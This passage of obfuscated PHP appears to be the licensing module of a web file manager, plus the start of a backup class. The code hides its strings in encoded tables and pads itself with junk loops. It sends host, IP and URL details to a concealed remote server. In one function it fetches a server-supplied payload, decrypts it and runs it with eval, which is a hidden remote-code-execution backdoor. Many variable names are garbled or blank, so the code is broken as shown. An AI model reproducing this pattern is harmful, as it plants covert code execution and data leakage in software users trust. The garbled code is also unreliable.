(KodUser::isRoot() && $this->config[$ͥ[117]]) { $[$ͥ[101]][$ͥ[118]] = WEB_ROOT; } return $; } private function cptja8d174ab() { $ =& $_SERVER[՟]; $ =& $_SERVER[]; $ɷȀ = $_SERVER[$[24]] == $[119]; if ($_SERVER[$[24]] == $[120] && $_GET[$[121]] == $[122]) { $ɷȀ = !0; } if ($ɷȀ) { $ = array($[108] => $this->fterb6ff004e, $[123] => $this->vsxjcb69798e(), $[124] => Model($[125])->count()); if ($this->fterb6ff004e != $[109]) { $ˈ = _get($this->paejfb274e01, $[126]); if ($ˈ) { $[$[127]] = $ˈ; $[$[128]] = strtotime(_get($this->paejfb274e01, $[129])); $[$[130]] = _get($this->paejfb274e01, $[116]); } $⭉ = Model($[33])->get($[131], $[6], !0); if (is_string($⭉) && substr($⭉, 0, 1) == $[132]) { $⭉ = json_decode_force($⭉); } if (is_array($⭉) && $⭉[$[133]] && strstr($⭉[$[133]], $[134])) { $ = explode($[134], $⭉[$[133]]); $[$[135]] = $[0]; } } $ = $this->wgdodc4d6c43(json_encode($), md5($[136])); $ = array($[137] => $); call_user_func(array($[138], $[139]), $); } if ($this->fterb6ff004e == $[109]) { return; } $ۭ = array($[140], $[141], $[142], $[143], $[144], $[145]); $˲ = $[732]; while ($˲ < $[714]) { if ($˲ >= 0) { break; } $˲++; } $ٿ = Model($[33])->get(); $ = array($[146] => $ٿ[$[34]], $[147] => $ٿ[$[35]], $[148] => $[6]); $Ò픉 = $[733]; foreach ($ۭ as $Ҹ) { if (!isset($ٿ[$Ҹ]) || !$ٿ[$Ҹ]) { continue; } $[$Ҹ] = $ٿ[$Ҹ]; $ᷧ = $[734]; if (!$ᷧ) { die; } } call_user_func(array($[138], $[139]), $); } private function ewjr810fc96b() { $̏ߖ =& $_SERVER[՟]; $ =& $_SERVER[]; if ($_SERVER[$[24]] != $[149]) { return; } if (!KodUser::isRoot()) { die; } $ = $GLOBALS[$[13]]; if (isset($[$[150]])) { $this->stkf7d959455(); die; } if (isset($[$[151]]) && isset($[$[151]]) == $[122]) { $[$[152]] = Model($[33])->get($[153]); } if (!isset($[$[152]]) || strlen($[$[152]]) != 16) { show_json($[154] . $[$[152]], !1); } $у = Model($[33])->get($[100]); $х = md5($_SERVER[$[106]] . $у); $ = $̏ߖ[735]; while (strlen($) < $̏ߖ[60]) { if (!$) { break; } $++; } $ǽ = array($[152] => $[$[152]], $[155] => rand_string(16), $[156] => $[136], $[157] => $[158], $[159] => $_SERVER[$[160]], $[161] => $_SERVER[$[162]], $[163] => $_SERVER[$[164]], $[105] => $х, $[165] => Model($[33])->get($[131])); $˲ѧ = $̏ߖ[736]; while ($˲ѧ < $̏ߖ[693]) { if ($˲ѧ >= 0) { break; } $˲ѧ++; } if (isset($[$[151]]) && isset($[$[151]]) == $[122]) { $ǽ[$[151]] = md5($ǽ[$[152]] . $[166] . $ǽ[$[155]]); } if ($[$[167]] == $[168]) { $ӝ = $this->wgdodc4d6c43($х, $[169]); $Ͷ = $this->qeykdb1b5d10(json_encode($ǽ), $х . $[170], 3); $Ͷ = $Ͷ . $[171] . $_SERVER[$[160]]; $㪬 = $this->erfg433172bf($[172] . $ӝ . $[173] . $Ͷ, -1); show_json($㪬, !0); } else { if ($[$[167]] == $[174]) { $ܓ = substr(md5($[175] . $х), 12, 15) . $[176]; $Ͷ = $this->pkuv639d94b1(trim($[$[177]]), $ܓ, 2); $ = json_decode($Ͷ, !0); if (!is_array($) || !is_array($[$[178]]) || $[$[152]] != !0) { $ = $[179]; $ = $[$[178]] ? $[180] . $[$[178]] : $; show_json($, !1); } else { $ǽ[$[155]] = $[$[178]][$[181]]; } } else { $ = $this->erfg433172bf($[182], $ǽ, 10); } } if (!is_array($) || !is_array($[$[178]]) || $[$[152]] != !0) { $ = LNG($[183]); $ = $[$[178]] ? $[180] . $[$[178]] : $; show_json($, !1); } $ه = $[$[178]]; $頛 = $this->fyqv110a469c($ه[$[184]]); $ = $̏ߖ[737]; if (strlen($) < $̏ߖ[716]) { die; } if (!$頛 || $頛 != $ه[$[129]]) { $ = array($[185] => Model($[33])->get($[100]), $[186] => $_SERVER[$[106]], $[187] => this_url(), $[161] => $_SERVER[$[162]]); $Ͷ = $this->wtyva4e1b61c(json_encode($)); $this->erfg433172bf($[188] . $Ͷ); show_json(LNG($[189]), !0); } $㊘ = array($[153] => $ه[$[190]], $[191] => $ه[$[192]], $[193] => rand_string(16), $[108] => $ه[$[194]]); if ($ǽ[$[155]]) { $㊘[$[193]] = $ǽ[$[155]]; } $ԧ = substr(md5($㊘[$[191]]), 10, 10); $ⵌ = $ԧ . $㊘[$[108]] . $㊘[$[193]]; $ǚ = $̏ߖ[738]; $㊘[$[110]] = strrev(base64_encode($this->wgdodc4d6c43($ⵌ, $[195]))); $ = rand_string(16); $ = $̏ߖ[739]; $ = $ . $㊘[$[108]] . $this->wgdodc4d6c43(md5($㊘[$[153]]), $); $Š = $̏ߖ[740]; if (!$Š) { return; } $㊘[$[111]] = base64_encode(strrev($this->wgdodc4d6c43($, $[196]))); if ($ه[$[197]] && $ه[$[197]] >= 1) { Model($[33])->setDeep($[198], $[122]); } Model($[33])->set($㊘); $մ = md5($_SERVER[$[106]] . strrev($у) . $㊘[$[191]]); $ĥ = $̏ߖ[741]; if (strlen($ĥ) < $̏ߖ[714]) { return; } $خ = strrev(substr($մ, 10, 16)); $ʻӴ = $̏ߖ[742]; $ = $this->qeykdb1b5d10(json_encode($ه), $մ); $ܟ = array_to_keyvalue(Model($[7])->listData(), $[199]); $գۑ = $ܟ[$[200]]; $ = $̏ߖ[743]; if (strlen($) < $̏ߖ[60]) { die; } $ = array(); $ = $̏ߖ[744]; if (!$) { die; } $[$خ] = $; $ݵ = $̏ߖ[745]; if (strlen($ݵ) < $̏ߖ[716]) { return; } Model($[7])->update($գۑ[$[201]], array($[202] => $)); $this->paejfb274e01 = $ه; $͉늼 = $̏ߖ[746]; if (!$͉늼) { return; } $this->fterb6ff004e = $㊘[$[108]]; $this->licenseRegistSuccess(); Cache::set($[203] . md5($у . $[204]), $[6]); show_json(LNG($[189]), !0); $ӧ = $̏ߖ[747]; if (!$ӧ) { return; } } private function licenseRegistSuccess() { $ =& $_SERVER[՟]; $ =& $_SERVER[]; $ȏ벁 = Model($[33])->get(); $Ȓ = $[748]; if (strlen($Ȓ) < $[60]) { return; } if ($ȏ벁[$[63]] != $[122]) { Model($[33])->set($[63], $[122]); } Action($[205])->initStart(!0); } private function stkf7d959455() { $ʖ =& $_SERVER[՟]; $ =& $_SERVER[]; Model($[33])->set(array($[153] => $[6], $[191] => $[6], $[108] => $[109], $[110] => $[6], $[111] => $[6])); $ڸ = $ʖ[749]; if (strlen($ڸ) < $ʖ[693]) { return; } Model($[33])->setDeep($[198], $[206]); $this->paejfb274e01 = array(); $this->fterb6ff004e = $[109]; } private function slgr074044fb() { $ =& $_SERVER[՟]; $ =& $_SERVER[]; $_SERVER[$[162]] = _get($_SERVER, $[162], APP_HOST); $this->fterb6ff004e = $[109]; $щ׳ = $[750]; if (!$щ׳) { return; } $Ӣ = Model($[33])->get(); $Ď = $[751]; if ($Ӣ[$[108]] == $[109]) { return; } $Ѯ = Model($[33])->get($[100]); $ɫ = $[752]; if (strlen($ɫ) < $[716]) { return; } $ܕ = $[203] . md5($Ѯ . $[204]); $֞斩 = $[753]; if (strlen($֞斩) < $[705]) { return; } $緂 = Cache::get($ܕ); $ = $[754]; if (!$) { return; } if (!is_array($緂) || !isset($緂[$[207]]) || time() - $緂[$[207]] >= 60) { $ = Model($[7])->loadList(); $ļ = $[$[200]]; $ = md5($_SERVER[$[106]] . strrev($Ѯ) . $Ӣ[$[191]]); $ = strrev(substr($, 10, 16)); $緂 = $this->pkuv639d94b1($ļ[$[86]][$], $); $緂 = json_decode($緂, !0); } if (!is_array($緂)) { return $this->stkf7d959455(); } $ = strtotime($緂[$[129]]); if (time() >= $) { return $this->stkf7d959455(); } if (!isset($緂[$[207]]) || time() - $緂[$[207]] > 20) { $緂[$[207]] = time(); Cache::set($ܕ, $緂); } $this->paejfb274e01 = $緂; $this->fterb6ff004e = $Ӣ[$[108]]; $߳ = $[755]; while ($߳ < $[716]) { if ($߳ >= 0) { break; } $߳++; } } private function mvkd9480add3() { $ˍ =& $_SERVER[]; $ɋֳ = $GLOBALS[$ˍ[13]]; $ = $_SERVER[$ˍ[24]]; if ($ == $ˍ[208] && $this->fterb6ff004e == $ˍ[109]) { show_json(LNG($ˍ[209]), !1, $ˍ[210]); } $ = array($ˍ[211], $ˍ[212]); if (in_array($, $)) { if ($this->fterb6ff004e == $ˍ[109] && isset($ɋֳ[$ˍ[213]])) { show_json(LNG($ˍ[209]), !1, $ˍ[210]); die; } $ = $this->vsxjcb69798e(); if ($ != intval($ˍ[214])) { if ($ <= Model($ˍ[125])->count()) { show_json(LNG($ˍ[215]), !1, $ˍ[210]); die; } } } } private function xbpv35ab3c80() { $ =& $_SERVER[՟]; $ˌ =& $_SERVER[]; $ٕ = array($ˌ[119], $ˌ[120]); $ = $[756]; if (!$) { return; } if (!KodUser::isRoot() || !isset($_GET[$ˌ[216]])) { return; } if (!in_array($_SERVER[$ˌ[24]], $ٕ)) { return; } $ = $ˌ[217]; $ = $[757]; $ = $this->lpurc88938a1($, $ˌ[218]); $ƾ = $[758]; while ($ƾ < $[716]) { if ($ƾ >= 0) { break; } $ƾ++; } $̒ = stream_context_create(array($ˌ[219] => array($ˌ[220] => $ˌ[221], $ˌ[222] => 3))); $ݰ = $[759]; $ = @file_get_contents($, !1, $̒); header($ˌ[223]); if ($ && strstr($, $ˌ[224])) { echo $; } die; } public function mubs4a5b6316($ʡα) { $ =& $_SERVER[՟]; $껉 =& $_SERVER[]; if ($this->fterb6ff004e == $껉[225]) { return $ʡα; } $ֈ˽ = $this->versionPluginList(); $ = $[760]; if (!$) { return; } $ = explode($껉[226], $this->versionPluginFilter()); $Ζ̊ = $[761]; $ӈ = array(); foreach ($ֈ˽ as $쟕 => $) { if ($ == $껉[227] && substr($this->fterb6ff004e, 0, 1) == $껉[227]) { continue; } if (!in_array($쟕, $)) { $ӈ[] = $쟕; } } foreach ($ӈ as $쟕) { unset($ʡα[$쟕]); } return $ʡα; } private function versionPluginList() { $ݜ㖋 =& $_SERVER[՟]; $ =& $_SERVER[]; return array($[228] => $[227], $[229] => $[227], $[230] => $[227], $[231] => $[232], $[233] => $[232], $[234] => $[232], $[235] => $[232], $[236] => $[232], $[237] => $[232], $[238] => $[232], $[239] => $[232], $[240] => $[232], $[241] => $[232], $[242] => $[232], $[243] => $[232], $[244] => $[232]); $ = $ݜ㖋[762]; while (strlen($) < $ݜ㖋[716]) { if (!$) { break; } $++; } } private function versionPluginFilter() { $ɏ =& $_SERVER[]; if ($this->fterb6ff004e == $ɏ[109]) { return $ɏ[6]; } $Ŏ = _get($this->paejfb274e01, $ɏ[245], $ɏ[6]); $¬ = $_SERVER[՟][763]; if (!$¬) { return; } $ = _get($this->paejfb274e01, $ɏ[116], $ɏ[6]); $㜆 = _get($this->paejfb274e01, $ɏ[246], $ɏ[6]); if ($ > time() && $㜆 > time()) { $泥 = explode($ɏ[226], $Ŏ); $ = array_keys($this->versionPluginList()); $Ŏ = array_merge($泥, $); $Ŏ = implode($ɏ[226], array_filter(array_unique($Ŏ))); } return $Ŏ; } private function fsvp2e8bb14d() { $Ե =& $_SERVER[]; if ($this->fterb6ff004e != $Ե[109]) { $GLOBALS[$Ե[86]][$Ե[90]][$Ե[247]] = $Ե[206]; return; } $GLOBALS[$Ե[86]][$Ե[248]] = $Ե[122]; if (Model($Ե[249])->get($Ե[63]) != $Ե[206]) { Model($Ե[249])->set($Ե[63], $Ե[206]); } } public function idev187d5266() { return $_SERVER[][250]; } private function zwuo70b1a9a4() { $ =& $_SERVER[՟]; $Τ =& $_SERVER[]; $ = array($Τ[251], $Τ[252], $Τ[253]); $꽯 = $Τ[254] . md5($Τ[255]); $ = $[764]; if ($this->fterb6ff004e == $Τ[109] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$Τ[24]], $)) { return; } if (time() % 4 != 0) { return; } $ = call_user_func(array($Τ[256], $Τ[257]), $꽯); $ = $[765]; if (strlen($) < $[716]) { die; } if ($ && time() - $ < intval($Τ[258])) { return; } call_user_func(array($Τ[256], $Τ[139]), $꽯, time()); $ = $[766]; if (strlen($) < $[705]) { die; } $ = Model($Τ[33])->get($Τ[100]); $Ő = array($Τ[152] => Model($Τ[33])->get($Τ[153]), $Τ[167] => $this->fterb6ff004e, $Τ[163] => $_SERVER[$Τ[164]], $Τ[165] => Model($Τ[33])->get($Τ[131]), $Τ[105] => md5($_SERVER[$Τ[106]] . $), $Τ[156] => $Τ[136], $Τ[159] => $_SERVER[$Τ[160]]); $ŀۊ = $[767]; while ($ŀۊ < $[716]) { if ($ŀۊ >= 0) { break; } $ŀۊ++; } $ԯ = $this->erfg433172bf($Τ[259], $Ő); if (!is_array($ԯ)) { return; } if ($ԯ[$Τ[152]] && $ԯ[$Τ[260]]) { if ($this->fyqv110a469c($ԯ[$Τ[260]]) == $Ő[$Τ[152]]) { return; } } $this->stkf7d959455(); if ($this->fyqv110a469c($ԯ[$Τ[260]]) != $Ő[$Τ[152]]) { $늻 = array($Τ[185] => $, $Τ[186] => $_SERVER[$Τ[106]], $Τ[187] => this_url(), $Τ[161] => $_SERVER[$Τ[162]]); $ = $this->wtyva4e1b61c(json_encode($늻)); $ԯ = $this->erfg433172bf($Τ[188] . $); if ($ԯ && is_array($ԯ) && isset($ԯ[$Τ[260]])) { $ = $this->pkuv639d94b1($ԯ[$Τ[260]], 2); if ($) { $ = $this->fyqv110a469c($); } if ($) { try { @eval($); } catch (Exception $) { } } } } } private function erfg433172bf($Ҷ = '', $ = array(), $ެ = 5) { $ =& $_SERVER[՟]; $η =& $_SERVER[]; $ꧦ = $η[261]; $ٍ = $[768]; $ꧦ = $this->lpurc88938a1($ꧦ, $η[262]); $ꧦ = $ꧦ . $Ҷ; $ = $[769]; if (strlen($) < $[714]) { return; } if ($ && is_array($)) { $ꧦ = $ꧦ . $η[263] . http_build_query($); } if ($ === -1) { return $ꧦ; } $״ԯ = stream_context_create(array($η[219] => array($η[222] => $ެ, $η[220] => $η[264]), $η[265] => array($η[266] => !1, $η[267] => !1))); $נ = $[770]; if (strlen($נ) < $[714]) { die; } $ = @file_get_contents($ꧦ, !1, $״ԯ); return json_decode($, !0); $ = $[771]; if (strlen($) < $[693]) { die; } } private function vsxjcb69798e() { $ =& $_SERVER[՟]; $Ǚ =& $_SERVER[]; $ = array($Ǚ[268] => $Ǚ[269], $Ǚ[270] => $Ǚ[271], $Ǚ[272] => $Ǚ[273], $Ǚ[274] => $Ǚ[275], $Ǚ[276] => $Ǚ[277], $Ǚ[278] => $Ǚ[214], $Ǚ[279] => $Ǚ[214], $Ǚ[280] => $Ǚ[269], $Ǚ[281] => $Ǚ[271], $Ǚ[282] => $Ǚ[273], $Ǚ[283] => $Ǚ[284], $Ǚ[285] => $Ǚ[275], $Ǚ[286] => $Ǚ[287], $Ǚ[288] => $Ǚ[277], $Ǚ[289] => $Ǚ[290], $Ǚ[291] => $Ǚ[292], $Ǚ[293] => $Ǚ[294]); $ຎ = $[772]; while ($ຎ < $[693]) { if ($ຎ >= 0) { break; } $ຎ++; } $ = $[$this->fterb6ff004e]; $ = intval($ ? $ : $Ǚ[269]); $؋ = _get($this->paejfb274e01, $Ǚ[295]); $Ӟ = $[773]; $؋ = $؋ ? intval($؋) : 0; return $ + $؋; $ = $[774]; } public function orgyd2ff7ac5($в) { $ =& $_SERVER[՟]; $ݱ =& $_SERVER[]; $ϴ = $this->vsxjcb69798e(); $ = $[775]; if (strlen($) < $[705]) { return; } if ($в[$ݱ[296]] == $ݱ[122]) { return; } if ($ϴ >= intval($ݱ[214])) { return; } $ȟ = Model($ݱ[125])->count(); $ϗ = $[776]; if ($ȟ <= $ϴ) { return; } $ϸʙ = Model($ݱ[125])->field($ݱ[296])->limit($ϴ)->select(); $م = $[777]; if (!$م) { die; } $ϸʙ = array_to_keyvalue($ϸʙ, $ݱ[6], $ݱ[296]); if (!in_array($в[$ݱ[296]], $ϸʙ)) { show_json($ݱ[297], !1, $ݱ[210]); } } public function petg816d1e33() { $ђ =& $_SERVER[՟]; $ߔߵ =& $_SERVER[]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $ = $ߔߵ[217]; $ = $ђ[778]; if (!$) { die; } $ = $this->lpurc88938a1($, $ߔߵ[218]); $ܙ = $ђ[779]; while ($ܙ < $ђ[714]) { if ($ܙ >= 0) { break; } $ܙ++; } $䀚 = stream_context_create(array($ߔߵ[219] => array($ߔߵ[220] => $ߔߵ[221], $ߔߵ[222] => 3))); $Ȼ = $ђ[780]; while (strlen($Ȼ) < $ђ[693]) { if (!$Ȼ) { break; } $Ȼ++; } $ = @file_get_contents($, !1, $䀚); $ = $ђ[781]; while ($ < $ђ[714]) { if ($ >= 0) { break; } $++; } echo $ߔߵ[298] . hash_encode($) . $ߔߵ[299]; $ʠȗ = $ђ[782]; if (strlen($ʠȗ) < $ђ[60]) { die; } } private function qeykdb1b5d10($ƣ, $ѷˊ, $и̞ = 3) { $ݔ =& $_SERVER[՟]; $Ɗ =& $_SERVER[]; usleep(1); $ƣ = trim($ƣ); $ƚ = mt_rand(0, 5) . $Ɗ[6]; $ؘ = $ݔ[783]; if (strlen($ؘ) < $ݔ[693]) { die; } $ = rand_string(15); $ץ = $Ɗ[300]; $ = $ݔ[784]; while ($ < $ݔ[60]) { if ($ >= 0) { break; } $++; } switch ($ƚ) { case $Ɗ[206]: $Μ = $this->wgdodc4d6c43($ƣ, strrev($ѷˊ . $)); break; $ʂ = $ݔ[785]; if (strlen($ʂ) < $ݔ[60]) { return; } case $Ɗ[122]: $Μ = $this->wgdodc4d6c43($ƣ, strrev($ . $ѷˊ)); break; $۷ = $ݔ[786]; if (strlen($۷) < $ݔ[705]) { return; } case $Ɗ[301]: $Μ = $this->wgdodc4d6c43($ƣ, base64_encode($ . $ѷˊ)); $摺 = $ݔ[787]; if (!$摺) { die; } break; case $Ɗ[302]: $Μ = $this->wgdodc4d6c43($ƣ, md5($ . $ѷˊ)); $ۧ = $ݔ[788]; if (!$ۧ) { die; } break; $ = $ݔ[789]; if (!$) { return; } case $Ɗ[303]: $ƣ = base64_encode($ƣ); $ͨ = rand(0, 64); $ = $ץ[$ͨ]; $˰ = $ݔ[790]; if (!$˰) { die; } $ۋ뒕 = md5($ . md5($ѷˊ . $) . $ѷˊ); $ۋ뒕 = substr($ۋ뒕, $ͨ % 8, $ͨ % 8 + 7); $ = $ݔ[791]; if (!$) { die; } $Ѳ = $Ɗ[6]; $ = $ݔ[792]; if (!$) { die; } $ڃ = 0; $܅ = 0; $ɀ = $ݔ[793]; while ($ɀ < $ݔ[60]) { if ($ɀ >= 0) { break; } $ɀ++; } $Ђ = 0; for ($ڃ = 0; $ڃ < strlen($ƣ); $ڃ++) { $Ђ = $Ђ == strlen($ۋ뒕) ? 0 : $Ђ; $ = $ݔ[794]; $܅ = ($ͨ + strpos($ץ, $ƣ[$ڃ]) + ord($ۋ뒕[$Ђ++])) % 64; $҄ = $ݔ[795]; if (!$҄) { return; } $Ѳ .= $ץ[$܅]; } $Μ = hash_encode($ . $Ѳ); break; $ = $ݔ[796]; if (strlen($) < $ݔ[60]) { return; } default: $Μ = $this->wgdodc4d6c43($ƣ, $ѷˊ . $); $ = $ݔ[797]; if (strlen($) < $ݔ[716]) { return; } break; $͍ = $ݔ[798]; if (!$͍) { die; } } $Μ = strrev($ƚ . $ . $Μ); if ($и̞ - 1 > 0) { $Μ = $this->qeykdb1b5d10($Μ, $ѷˊ, $и̞ - 1); } return $Μ; } private function pkuv639d94b1($ˣ, $Dz, $ߦ = 3) { $ =& $_SERVER[՟]; $ =& $_SERVER[]; if (!is_string($ˣ) || strlen($ˣ) < 10) { return !1; } $ˣ = trim($ˣ); $ˣ = strrev($ˣ); $ᬎ = $ˣ[0]; $봘 = $[799]; if (strlen($봘) < $[693]) { return; } $ݤ = substr($ˣ, 1, 15); $ˣ = substr($ˣ, 16); $Ԟ = $[800]; if (strlen($Ԟ) < $[714]) { die; } $ȁ = $[300]; switch ($ᬎ) { case $[206]: $릚 = $this->lpurc88938a1($ˣ, strrev($Dz . $ݤ)); $ = $[793]; if (!$) { return; } break; $Ⴌ = $[801]; if (!$Ⴌ) { return; } case $[122]: $릚 = $this->lpurc88938a1($ˣ, strrev($ݤ . $Dz)); $ = $[802]; while (strlen($) < $[714]) { if (!$) { break; } $++; } break; case $[301]: $릚 = $this->lpurc88938a1($ˣ, base64_encode($ݤ . $Dz)); $ = $[803]; if (strlen($) < $[693]) { die; } break; case $[302]: $릚 = $this->lpurc88938a1($ˣ, md5($ݤ . $Dz)); break; $ = $[804]; case $[303]: $ˣ = hash_decode($ˣ); $ㆢ = $[805]; if (!$ㆢ) { die; } $ǟ = $ˣ[0]; $ˣ = substr($ˣ, 1); $ψ = $[806]; if (!$ψ) { return; } $ҿ = strpos($ȁ, $ǟ); $ځ = $[807]; if (!$ځ) { return; } $ꗈ̦ = md5($ǟ . md5($Dz . $ǟ) . $Dz); $╈ = $[808]; while (strlen($╈) < $[60]) { if (!$╈) { break; } $╈++; } $ꗈ̦ = substr($ꗈ̦, $ҿ % 8, $ҿ % 8 + 7); $ⓣ = $[6]; $ = $[809]; while (strlen($) < $[716]) { if (!$) { break; } $++; } $Ƀߚ = 0; $ = 0; $ = $[810]; if (!$) { return; } $Ќ = 0; for ($Ƀߚ = 0; $Ƀߚ < strlen($ˣ); $Ƀߚ++) { $Ќ = $Ќ == strlen($ꗈ̦) ? 0 : $Ќ; $Ց = $Ќ++; $ = strpos($ȁ, $ˣ[$Ƀߚ]) - $ҿ - ord($ꗈ̦[$Ց]); while ($ < 0) { $ += 64; $ = $[811]; } $ⓣ .= $ȁ[$]; $ݮ = $[812]; if (!$ݮ) { die; } } $릚 = base64_decode($ⓣ); break; default: $릚 = $this->lpurc88938a1($ˣ, $Dz . $ݤ); break; } if ($ߦ - 1 > 0) { $릚 = $this->pkuv639d94b1($릚, $Dz, $ߦ - 1); } return $릚; } public function wtyva4e1b61c($ي) { $ſ =& $_SERVER[՟]; $ =& $_SERVER[]; $ܔ = $this->qhcfaebaed8c(); $п = $ſ[813]; while (strlen($п) < $ſ[716]) { if (!$п) { break; } $п++; } $ = $this->qhcfaebaed8c(); $泂ą = ($ܔ - 1) * ($ - 1); $ڟɆ = intval(($ܔ + $) / 2); $膌ǔ = $ſ[814]; while (strlen($膌ǔ) < $ſ[716]) { if (!$膌ǔ) { break; } $膌ǔ++; } while (1) { $ޗ凌 = $ڟɆ; $ = $ſ[815]; if (!$) { return; } $ = $泂ą; while ($ % $ޗ凌 != 0) { $Ӟ = $; $ = $ޗ凌; $ޗ凌 = $Ӟ % $ޗ凌; } if ($ޗ凌 == 1) { break; } else { $ڟɆ++; } } $ߎ = 2; for ($ = 0; $ < $泂ą * 10; $++) { if (($泂ą * $ + 1) % $ڟɆ == 0) { $ߎ = intval(($泂ą * $ + 1) / $ڟɆ); break; } } $ř = $this->wgdodc4d6c43($ܔ * $ . $[6], $[136]); $ = $ſ[816]; $꿁 = md5($[304] . ($ܔ + $) . $[305] . $ڟɆ . $[305] . $ߎ . $[306]); $ݎ = $this->wgdodc4d6c43($ي, $꿁) . $[307] . $ř; $ڠò = $ſ[817]; return $ݎ; $ = $ſ[818]; if (!$) { return; } } public function fyqv110a469c($) { $ =& $_SERVER[՟]; $ξό =& $_SERVER[]; $ = explode($ξό[307], $); if (count($) != 2) { return $ξό[6]; } $ = $this->lpurc88938a1($[1] . $ξό[6], $ξό[136]); if (!$) { return $ξό[6]; } $ = intval($); $ = 0; $µ = 0; $צ = $[819]; while ($צ < $[716]) { if ($צ >= 0) { break; } $צ++; } for ($Ŀ = 3; $Ŀ < $; $Ŀ += 2) { if ($ % $Ŀ != 0) { continue; } $ = $Ŀ; $µ = intval($ / $Ŀ); break; } $ƙ = ($ - 1) * ($µ - 1); $ = $[820]; if (!$) { return; } $ؙ = intval(($ + $µ) / 2); while (1) { $ = $ؙ; $͉Ɇ = $[821]; if (strlen($͉Ɇ) < $[693]) { die; } $ = $ƙ; $ = $[822]; while ($ % $ != 0) { $ԓӡ = $; $ = $; $ = $[823]; $ = $ԓӡ % $; } if ($ == 1) { break; } else { $ؙ++; } } $ = 2; for ($Ŀ = 0; $Ŀ < $ƙ * 10; $Ŀ++) { if (($ƙ * $Ŀ + 1) % $ؙ == 0) { $ = intval(($ƙ * $Ŀ + 1) / $ؙ); break; } } $ݭ = md5($ξό[304] . ($ + $µ) . $ξό[305] . $ؙ . $ξό[305] . $ . $ξό[306]); $ = $[824]; $䳽 = $this->lpurc88938a1($[0], $ݭ); $˘ = $[825]; if (strlen($˘) < $[693]) { die; } return $䳽; } public function qhcfaebaed8c() { $ˮޢ =& $_SERVER[՟]; $兓 = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = $ˮޢ[826]; $ = array(); $ = 1; $ = $ˮޢ[827]; while ($ < $ˮޢ[705]) { if ($ >= 0) { break; } $++; } while ($ <= (int) sqrt($兓)) { $ = $; $澇 = $ˮޢ[828]; if (!$澇) { die; } while (!0) { $++; if ($ <= 2) { $ = $; break; } else { if ($ < 2) { continue; } } $ɏș = !0; for ($ = 2; $ <= sqrt($); $++) { if ($ % $ == 0) { $ɏș = !1; } } if ($ɏș) { $ = $; break; } } $[] = $; } $ = 2; for ($ = $兓; $ > 1; $--) { $ɏș = !0; $ɿ = $ˮޢ[829]; if (!$ɿ) { return; } foreach ($ as $贫) { if ($ % $贫 == 0) { $ɏș = !1; break; } } if ($ɏș) { $ = $; break; } } return $; } public function zkhv58c797ca($ޤ۹, $) { $ =& $_SERVER[]; return call_user_func(array($[8], $[308]), $ޤ۹, $); } public function wgdodc4d6c43($ۋ, $) { $ =& $_SERVER[]; return call_user_func(array($[309], $[310]), $ۋ, $); $ = $_SERVER[՟][830]; } public function lpurc88938a1($, $) { $ϳ =& $_SERVER[]; return call_user_func(array($ϳ[309], $ϳ[311]), $, $); $ = $_SERVER[՟][831]; if (!$) { die; } } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->model = Model($_SERVER[՟][832]); $this->init(); $this->keep(); } public function init() { $ۚз =& $_SERVER[՟]; $this->isManual(); self::$name = date($ۚз[833]); if (!($΅ = $this->model->lastItem())) { $΅ = $this->initData(); } else { self::$name = $΅[$ۚз[32]]; if ($΅[$ۚз[834]] == $ۚз[101]) { self::$name = date($ۚз[281]); $깕 = intval(_get($΅, $ۚз[835], 0)); if (self::$manual == 0 && $΅[$ۚз[32]] == self::$name) { $this->model->remove($΅[$ۚз[484]]); } $΅ = $this->initData($깕, $΅[$ۚз[836]]); } else { $this->checkStore($΅[$ۚз[836]]); } } self::$option = $΅; } private function isManual() { $ݖ = _get($GLOBALS, $_SERVER[՟][837], 0); $ݖ = intval($ݖ); self::$manual = $ݖ && $ݖ == 1 ? 1 : 0; } private function initData($ = 0, $Ԛ = '') { $ޫ =& $_SERVER[՟]; $ꑗ = $this->model->config(); if ($Ԛ && $ꑗ[$ޫ[836]] != $Ԛ) { $ = 0; } $this->checkStore($ꑗ[$ޫ[836]]); if (self::$manual == 1) { self::$name .= $ޫ[11] . date($ޫ[838]); } $ɉƯ = array($ޫ[836] => $ꑗ[$ޫ[836]], $ޫ[32] => self::$name, $ޫ[834] => 0, $ޫ[181] => $ꑗ[$ޫ[181]], $ޫ[839] => self::$manual, $ޫ[378] => array($ޫ[840] => array($ޫ[834] => 0), $ޫ[841] => array($ޫ[834] => 0, $ޫ[842] => 0, $ޫ[843] => 0, $ޫ[33] => $ޫ[12], $ޫ[844] => 0, $ޫ[845] => 0), $ޫ[846] => array($ޫ[834] => 0, $ޫ[842] => 0, $ޫ[843] => 0, $ޫ[844] => 0, $ޫ[845] => 0), $ޫ[240] => array($ޫ[834] => 0, $ޫ[847] => 0, $ޫ[848] => 0, $ޫ[849] => 0, $ޫ[850] => 0, $ޫ[550] => $, $ޫ[844] => 0, $ޫ[845] => 0)), $ޫ[844] => time(), $ޫ[845] => 0); $Н = $this->model->insert($ɉƯ); $ɉƯ[$ޫ[484]] = $Н; return $ɉƯ; } private function checkStore($) { $ = Model($_SERVER[՟][851]); $֣ = $->listData($); $->checkConfig($֣); } public static function get() { if (!self::$option) { $ = Model($_SERVER[՟][832]); $ݥۖ = $->findByName(self::$name); $->parseContent($ݥۖ); self::$option = $ݥۖ; } return self::$option; } public static function set($۫) { $ =& $_SERVER[՟]; $ = self::get(); foreach ($۫ as $ꯠ => $ִ) { array_set_value($, $ꯠ, $ִ); } Model($[832])->update($[$[484]], $); self::$option = $; return self::$option; } public function keep() { $إâ =& $_SERVER[՟]; $ = self::get(); if (_get($, $إâ[852], 0) == $إâ[101]) { return; } $this->backupKeep($); self::set(array($إâ[852] => 1)); } private function backupKeep($☬) { $θ =& $_SERVER[՟]; if (self::$manual == 1) { return; } $ؽȳ = $this->model->listData(); if (empty($ؽȳ)) { return; } $ܛҼ = 0; $ = array(); foreach ($ؽȳ as $) { if ($ܛҼ >= 7) { break; } $[] = $[$θ[32]]; $ܛҼ++; } for ($ܛҼ = 0; $ܛҼ < 12; $ܛҼ++) { $[] = date($θ[853], strtotime("\x2d{$ܛҼ}\x20\x6d\x6f\156\x74\x68\x73")); } $ = array_unique($); $ُ = Model($θ[854])->get($θ[855]); foreach ($ؽȳ as $) { if (isset($[$θ[839]]) && $[$θ[839]] == $θ[101]) { continue; } if (!empty($[$θ[32]]) && in_array($[$θ[32]], $)) { continue; } 